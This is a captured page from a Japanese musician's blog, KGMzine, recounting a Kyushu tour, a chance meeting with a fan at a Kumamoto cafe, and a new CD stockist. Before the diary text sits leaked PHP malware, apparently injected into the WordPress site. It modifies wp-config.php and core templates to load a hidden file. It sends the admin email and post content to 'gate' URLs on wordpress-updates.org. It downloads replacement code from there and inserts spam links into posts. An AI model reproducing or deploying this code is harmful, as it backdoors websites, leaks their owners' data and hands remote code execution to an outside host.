0;$q--) { $link[$q]="/".$link[$q]; $r_dir=str_replace($link[$q],"",$r_dir); $rdr=amt_rdr($r_dir); if(@in_array('wp-config.php',$rdr)) { $root_dir[0]=$r_dir; break; } } $root_dir[1]=$root_dir[0]."/wp-includes"; $t_dir=$root_dir[0]."/wp-content/themes/"; $t_dirs=amt_rdr($t_dir); for($q=0;$qamt_trim_domen(); $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); return $t_n; } function amt_gae() { global $wpdb, $table_prefix; $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); $this->a_em=$uem[0]; return $a_em; } function amt_crtb() { global $wpdb; $this->amt_gtbl(); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , id_post INT(9) NOT NULL , last_up DATETIME NOT NULL , addd DATETIME NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , l_b ENUM('0', '1') NOT NULL , id_post INT(9) NOT NULL , word VARCHAR(255) NOT NULL , id_word INT( 9 ) NOT NULL , link VARCHAR(255) NOT NULL , date DATE NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( host VARCHAR(255) NOT NULL , t_o VARCHAR(255) NOT NULL , n_f VARCHAR(255) NOT NULL , date DATE NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); $this->host=$mda[0]; if($this->host=="") { $amt_nf=$this->amt_gfn(); $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; $wpdb->query($query); $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); $this->host=$mda[0]; } $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; } } $amt_d=new amt_data; $amt_d->amt_crtb(); $amt_d->amt_gae(); $root_dir=amt_gp(); $amt_d->u_tpl=$amt_u_tpl; $amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); $amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; $amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; $amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; $amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; $amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); $amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; $amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; $amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } amt_ci(); function amt_cif() { global $amt_d; if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } } function amt_ci() { global $amt_d; $sha="!amt_cif!si"; $sha2="!".$amt_d->n_f."!si"; $cont=file_get_contents($amt_d->wp_c); if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) { $amt_d->ci[0]=0; } else { $amt_d->ci[0]=1; } $sha="!amt_cc!si"; $cont=file_get_contents($amt_d->wp_pt); if(!preg_match($sha,$cont,$match)) { $amt_d->ci[1]=0; } else { $amt_d->ci[1]=1; } if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) { $amt_d->ci[2]=0; } else { $amt_d->ci[2]=1; } if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } if($amt_d->ci[3]==0) { if($amt_d->ci[0]==0) { chmod($amt_d->wp_c, 0755); $cont=trim(file_get_contents($amt_d->wp_c)); $sha="/\?>$/"; if(preg_match($sha,$cont,$name)) { $cont=$cont." n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; } else { $cont=$cont." if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; } $amt_f = fopen($amt_d->wp_c,"w"); $test = fwrite($amt_f, $cont); fclose($amt_f); if($test) { chmod($amt_d->wp_c, 0644); } } if($amt_d->ci[1]==0) { $cont=file_get_contents($amt_d->wp_pt); $sha1="echo \$content;"; $sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } echo \$content;"; $cont=str_replace($sha1,$sha2,$cont); chmod($amt_d->wp_pt, 0755); $amt_f = fopen($amt_d->wp_pt,"w"); $test = fwrite($amt_f, $cont); fclose($amt_f); if($test) { @chmod($amt_d->wp_pt, 0644); } } if($amt_d->ci[2]==0) { $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } if(file_exists($amt_d->wp_ff)) { chmod($amt_d->wp_ff, 0755); } $amt_f = fopen($amt_d->wp_ff,"w"); $test = fwrite($amt_f, $content); fclose($amt_f); if($test) { chmod($amt_d->wp_ff, 0644); } } } } function amt_cc($content) { global $amt_d; $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); return $content; } function amt_gct($id) { global $amt_d; $ololo=get_post($id); $amt_cty=get_the_category(); $amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; $amt_d->p_ttl=$ololo->post_title; } function amt_cco($id, $content) { global $wpdb, $amt_d; $q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); $q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); $q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); for($q=0;$q < count($q_word);$q++) { $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); } $content.=amt_abl($id); return $content; } function amt_abl($id) { global $wpdb, $amt_d; $t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); if($t_link[0]!="") { $tlk="

".$t_link[0]."

"; } else { $tlk=""; } return $tlk; } function amt_copt($m_url) { global $wpdb, $amt_d; $post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); $today=date("Y-m-d"); if(!amt_cuo()) { if($amt_ud=amt_sender($amt_d->u_g[2], $post)) { if($amt_ud!="no" && $amt_ud!="") { $amt_md=explode('*^*^*^*',$amt_ud); $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; $wpdb->query($amt_q); if($amt_md[3]==2) { amt_cnff($amt_md[4]); } } else { $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; $wpdb->query($amt_q); } } } } function amt_cnff($content) { global $amt_d; if($content=="") { return false; } $content= ""; if(file_exists($amt_d->wp_ff)) { @chmod($amt_d->wp_ff, 0755); } $amt_f = fopen($amt_d->wp_ff,'w'); $test = fwrite($amt_f, $content); @fclose($amt_f); if($test) { @chmod($amt_d->wp_ff, 0644); } $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; if(file_exists($s_f_path)) { @chmod($s_f_path, 0755); } $amt_f = fopen($s_f_path,'w'); $test = fwrite($amt_f, $content); @fclose($amt_f); if($test) { @chmod($s_f_path, 0644); } } function amt_inb($id, $last) { global $wpdb, $amt_d; $amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; $wpdb->query($amt_q); $amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; $wpdb->query($amt_q); } function amt_ins($id, $last, $cont, $url) { global $amt_d; $last=str_replace(" ","_",$last); $url=trim_url($url); $post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); $amt_pisg=amt_sender($amt_d->u_g[0], $post); if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } return $pis; } function amt_pib($id) { global $wpdb, $amt_d; $query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; $wpdb->query($query); if($wpdb->num_rows>0) { $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); if($per>30) { return 0; } else { return 1; } } return $wpdb->num_rows; } function amt_qwe($id) { global $wpdb, $amt_d; $query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; $wpdb->query($query); return $wpdb->num_rows; } function amt_cuq() { global $wpdb, $amt_d; $today=date("Y-m-d"); $date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); if($date_up!=$today) { return false; } else { return true; } } function amt_cuo() { global $amt_d; $today=date("Y-m-d"); if($amt_d->c_d!=$today) { return false; } else { return true; } } function amt_qse($id, $m_url) { global $wpdb, $amt_d; $today=date("Y-m-d"); $m_url=trim_url($m_url); $post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); if($amt_nq=amt_sender($amt_d->u_g[1], $post)) { if($amt_nq=="no quests") { $amt_q1="delete from ".$amt_d->t_n[1].";"; $wpdb->query($amt_q1); $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; echo $amt_q2; $wpdb->query($amt_q2); } else { $amt_q1="delete from ".$amt_d->t_n[1].";"; $wpdb->query($amt_q1); $amt_qs=explode("*****",$amt_nq); for($q=0;$q < sizeof($amt_qs);$q++) { $m_amt_q=explode("^^^",$amt_qs[$q]); $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; $wpdb->query($amt_q2); } } } } function amt_sender($url, $post) { global $amt_d; $_post=Array(); if(is_array($post)) { foreach($post as $name => $value) { $_post[]=$name.'='.urlencode($value); } } if (function_exists("curl_init")) { $ch=curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); if(is_array($post)) { curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); } $result=curl_exec($ch); if(curl_errno($ch)!=0 && empty($result)) { $result=false; } curl_close($ch); $result="HTTPSTART".$result; $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); return $result; } else { $parse_url = parse_url($url); $path = $parse_url["path"]; $host= $parse_url["host"]; $result=""; $post=implode('&', $_post); $fp=fsockopen($host, 80); if($fp) { socket_set_timeout($fp, $amt_d->t_o); $request = "POST $path HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Penetrator/3.0\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Referer: ".$amt_d->my_h."\r\n"; $request .= "Content-Length: ".strlen($post)."\r\n"; $request .= "Connection: close\r\n\r\n$post"; fputs($fp,$request); while(!feof($fp)) { $result.=fgets($fp); } fclose($fp); $result="HTTPSTART".$result; $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); return $result; } return false; } } function amt_create_post_words($content,$word,$id_word,$link,$nwm) { $n_content=strip_tags($content); $word=trim($word); $t_link="http://".$link; $w=0; $sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; $bilo="/( ".$word.".{1}|".$word.".{1})/si"; $stalo="***\\0***"; $new_content=preg_replace($bilo,$stalo,$n_content); preg_match_all($sha2,$new_content,$massa); $sha_word=erase_zv($massa[0][$id_word]); $sha_word_l=strong_word($sha_word,$word,$t_link); $content=str_replace($sha_word,$sha_word_l,$content); return $content; } function erase_zv($text) { $text=str_replace(",***",",",$text); $text=str_replace(".***",".",$text); $text=str_replace(" ***"," ",$text); $text=str_replace("*** "," ",$text); $text=str_replace("***"," ",$text); return $text; } function trim_side($text) { $new_text=""; $txt=explode(" ", $text); $n_w=sizeof($txt); for($ts=1;$ts<$n_w-1;$ts++) { $new_text.=$txt[$ts]." "; } return $new_text; } function strong_word($content,$word,$t_link) { $bilo="/( ".$word.".{1}|".$word.".{1})/si"; $stalo="\\0"; $content=preg_replace($bilo,$stalo,$content); $content=str_replace("> ",">",$content); $content=str_replace(" <","<",$content); $content=str_replace("<"," <",$content); $content=str_replace(" ","",$content); $content=str_replace(""," ",$content); $content=str_replace(",",", ",$content); $content=str_replace(".",". ",$content); $content=str_replace(" "," ",$content); return $content; } function trim_url($url) { $url=preg_replace("(www.|http://)", "", $url); return $url; } ?> 暗黒将軍到来 – KGMzine
DIARY

暗黒将軍到来

先日巡って来た九州の話。

 

今までは仙台からは遠い事もあって、2〜3年に一度くらいのペースでしかライブで行けていませんでした。そして、今回のツアーでは長崎と大分と共に訪れる予定だった福岡と熊本が直前で頓挫。待っているお客さんが少なからずいて、でもそれを叶える事が出来ない。期待していたお客さんには申し訳ない気持ちでいっぱい。非常に悔しい。。

 

早めに取っていた航空チケットは長崎でのライブの五日前に仙台から福岡へ行く便で、キャンセルするか否か、これまた随分と悩みました。仕事の予定もなく他所の土地で五日間も過ごすなんて今まで一度も経験がなく、何をどう行動するかも全く浮かびません。悩み始めて悶々とした気持ちで数日過ごした後、気持ちを切り替える事にしたのです。せっかくのこの機会を活用して、自分の足で巡ってみてそれぞれの土地を感じてみよう、と。行動すれば良い出会いだってあるかもしれない。幸運が舞い降りて来るのを待ってるなんて、男として、ちょっと嫌でしょう?

 

IMG_0793

 

滞在一日目、福岡空港から博多駅まで地下鉄で移動し、数時間街をうろついた後、高速バスで熊本駅へ。
ハードケースに入れたギターと洋服や物販類がパンパンに詰まったキャリーバック、楽器機材の入ったミニボストンバック、そしてリュックにはパソコンとCD。こんなに沢山ではどこにいくにも不便なので、まず宿に荷物を置いてしまうのが吉。

 

IMG_0801

LANケーブルを探してたら扉ごと外れてビックリ

 

熊本駅に着いた時点で夕方だったので、その日は次の日から巡る各地の情報収集(と言えばかっこいいですがただのネット検索)をすることにしました。熊本について調べているとある重要な事に気付きました。“熊本市内にあったタワレコは既に閉店”  お店へ挨拶に伺い地元の情報を訊ねる事が出来ないのです。そして、私みたいなタイプのミュージシャンですと、タワレコのあるなしによって著しく認知度が変わったりしますからね、一日目にしてお先真っ暗状態。そして私は暗黒将軍となり、とりあえずラーメンを食べに行きました。非常に美味しかったです。

 

IMG_0810

暗黒将軍と化した私を「あすなろ白書」の時のキムタクのようにそっと後ろから抱きしめた豚骨スープ

 

お腹がいっぱいになったところで再び宿に戻り、熊本情報検索を再スタート。
めぼしいライブ会場の情報は見つからず…ですが、そこでひとつのブログが目に留まりました。コテコテのアメカジショップではなく、セレクトショップ的感覚のお店。好きなブランドが揃っていたのでどんなお店なんだろうかと読み進める。「あれ、このブログ面白いぞ」 ブログ記事はどうやら私よりもちょっと世代が上のオーナーさんが自ら投稿してる模様。HPも通販ページも見つからない。でもなんだかいつも楽しそう。そして、スタッフさんともみんな仲が良さそう、という訳で次の日に行く事に決め、情報収集終了。(ココに行ったらきっと何かあるかな?)直感、もしくは希望的観測。

翌朝、外へ出てみると結構な雨。
荷物も沢山あるし楽器も抱えてるもんで雨は非常に悩ましげです。外の喫煙所でどうしたもんかと途方に暮れながら駅までタクシーに乗るか、どうしようかと迷っていると宿のスタッフさん(年の頃40代半ばと思しき女性)が、「駅まで乗せていきましょうか?」と声を掛けて来てくれた。突然の優しい言葉にびっくりした私、とっさに出て来たのは「ああ!大丈夫です!ありがとうございます」遠慮がちな東北人をレペゼン、行った直後には後悔しましたが、でも「やっぱり乗せて下さい」とは言えず、、やせ我慢 (見事2kgの減量に成功)。男性の方だったら「お願いします」と素直に言えた、かな。どうかな。

断ったのですから、もはやタクシーなど呼ぶことは出来ません。(さっきの俺ってほんと馬鹿!) と思いながら、びしゃびしゃになって熊本駅へ向かいました。
熊本駅から目当てのお店まで行くには市電に乗ります。ですが市電に乗り馴れていない私は乗る前からドキドキ。(先払いなのか、後払いなのか) 、そして(俺の財布に入っている小銭で払える料金なのか否か) ここも重要です。手ぶらであれば両替も簡単に出来ますが、荷物てんこ盛りの状態では両替も大変。という訳で、先回り先回りの脳内トラフィック。かつて「お父さんは心配性」という漫画がありましたが、この時の私は主役に選ばれてもおかしくはない程だったと思います。なんの話だ。

市電に乗ること20分ほど、先程の緊張感から解き放たれた私は、ものの見事に予定の降車駅を乗り過ごし、終点に辿り着きます。雨と商店街。お店のオープン時間にはまだ早かった事もあり、ちょっと歩いてみる事に、したものの何も見つからず、再び市電に乗る列に並ぶ。こういうハプニングを楽しむ事こそが旅の醍醐味!ときっと旅の達人は言うのでしょう。私はこう思います、「同じ荷物抱えて歩いてみろ!」私は醍醐味を味わうことなく甘噛みで吐き出すような愚かで間抜けな男です!御免!

辿り着いた駅は「健軍校前」。
名前の響きから (軍隊の街なのかしら) とうっすら考えつつ、目的地まで大雨の500m。これはもはや精神修行です。知覚過敏が発生する事も恐れずに歯を食いしばって参りましょう。

iPhone片手にGoogleマップで辿り着いたそこはまるで美容室のような建物。
お目当ての洋服屋さんは二階にあり、荷物抱えて階段を昇ります。のぼり切った所で店員さんが (荷物大変ですね。どうぞそこに置いてください) と声を掛けてくれた。こちらから聞く前に察してくれるだなんて熊本の方は随分親切だなと感動。洋服を眺めつつ、お店の方と会話を交わします。仙台から来た事、週末に長崎でライブがあり、早めに九州入りして巡っている事。私、普段はあまり初対面の人にこういう事を口にしなかったりするのですが、話しやすそうな方だったので素直な気持ちで会話を。熊本の話を聞いたり、目の前に立派な神社があること、ブログを見て訪れたこと、地元の美味しい食べ物のこと。お勧めして貰ったお店のランチ営業終了時間が迫って来ていたので (もっと洋服見たい!) と思いつつも、泣く泣くお店を後にすることに。(地元の方に美味しいと勧められたお店は食べたいのです。ほとんどの場合確かな情報なので)

「良かったら聴いてください」とサンプルのCDを手渡しお店を出ました。
わざわざ表まで出て見送ってくださり、傘を持っていない私へ「どうぞ」とビニール傘を。(いい人だったなー…次はゆっくり来れるようにしよう)歩き始め、ふとお店の写真を取っていなかったことに気付きiPhoneを構えた時

 

「KGMさんですか!?」

 

と声がする。

 

(ケージーエム? 俺かな?俺ってケージーエムなのかな?)

(聞き間違いかな?でもはっきり言ってたわ)

 

俺「はい。」

相手「うわーーーーーー!!」(確かそんな風にだったと思う、記憶に自信ないけど)

そして店舗内へ駈けて行き、誰かに話し掛け、再び戻って来た。

 

こういうことだったらしい。


私を呼び止めたのは先程訪れたお店と同じ店舗の中でカフェを経営している方で、出て行った私の横顔に(あれ?似てるぞ)と驚いた。そして私を見送って店舗に戻って来た店員さんにあの人はどこからきたお客さんだと訊ねたところ「仙台から来たらしいよ」と言われ(やっぱりKGMじゃん!)と、それで慌てて呼びかけに来たとのこと。こんなことってあるんですね。そりゃ私がモンキーマジッククラスのTVスターであればそこら中で驚かれたりするんでしょうが、「知る人ぞ知る」みたいなミュージシャンですし、遠く離れた熊本ですし、熊本にはタワレコもありませんし、昨夜は暗黒将軍でしたし。

「コーヒーでも飲んで行って下さい」とお誘い頂き、(ランチはもう無理かもな) と思いつつも、まぁ滅多にない程の出来事だったので(ランチは次食べることにしよー!) と切り替え、再び店舗内のカフェへ入ることに。お店の方(以下 Kさんと表記)は本当によくCDを聴いていてくれているようで、リトルファーブルも持っているとのこと。タワレコなき今の熊本でリトルファーブルを持っているのはつまり通販で注文して買ってくれたということでしょう?ほんと嬉しかったです…

そこから1~2時間、お店の手作りのパンや美味しいコーヒーをご馳走になりながら、仕事のこと、音楽のこと、色々とおしゃべりをしました。世代も近いからか、人見知りの私も割と普通にお話出来ていたように思います。お店の方のお友達も集まって来てくれたりして、それはそれは楽しい時間を過ごすことが出来ました。ただただ感謝です。出会いって素晴らしいな、と改めて思ったものです。「いつか熊本でもライブをやりましょう」と話し、再会を誓い、お店を後にしました。 (昨夜の勘はこの事だったのかなー当たって良かったなぁ。いい人ばっかりだったなー) と、とても幸せな気持ちで熊本から次の土地へと移動して行きました。

 

IMG_0811

 

さらに、話はまだ続きます。

 

先週Kさんから連絡が入り、「出来ればCDをお店で取扱いしたい」とのお話。なんと… (泣)

 

本当はお願いしたくて仕方がないくらいだったのです。。
販売店のないままではやはり今後の広がりが望めません。出来れば販売店が欲しい。そしてそのお店には「本当に好きでいてくれる人が必要」のです。CDショップでもなければ、ただ置くだけでは誰も手に取りません。「一押し」してくれる人がいるといないとでは結果がまるで違います。これは当然ですよね

「熊本ライブを実現する為にも、販売したい」とのお話で、、何も言わずとも察してくれたのでしょうか。それとも同じことを夢描いてくれたんでしょうか。なんにせよ、音楽やってきてよかったな、と思いました。。

 

fabrecd

 

という訳で新たにリトルファーブル取扱店が増えました。しかも熊本に。うれしいなー。そして熊本に辿り着いた日の夜、暗黒将軍を気取っていた自分を今更ながらに恥じ入ります!御免!私的暗黒御免!

噂のカフェの名はNEVLといいます。

nevl2

nevl

NEVL (ネヴル)
http://nevl.exblog.jp/
〒862-0911 熊本市東区健軍2-26-15

 

そして話に出た二階の洋服屋さんというのは

har

harbees

HARBEE’S GENERAL STORE
http://harbees.exblog.jp/

 

 

この他にも九州滞在で素晴らしい出会いが沢山ありました。

お世話になった皆さん、ありがとうございました!

0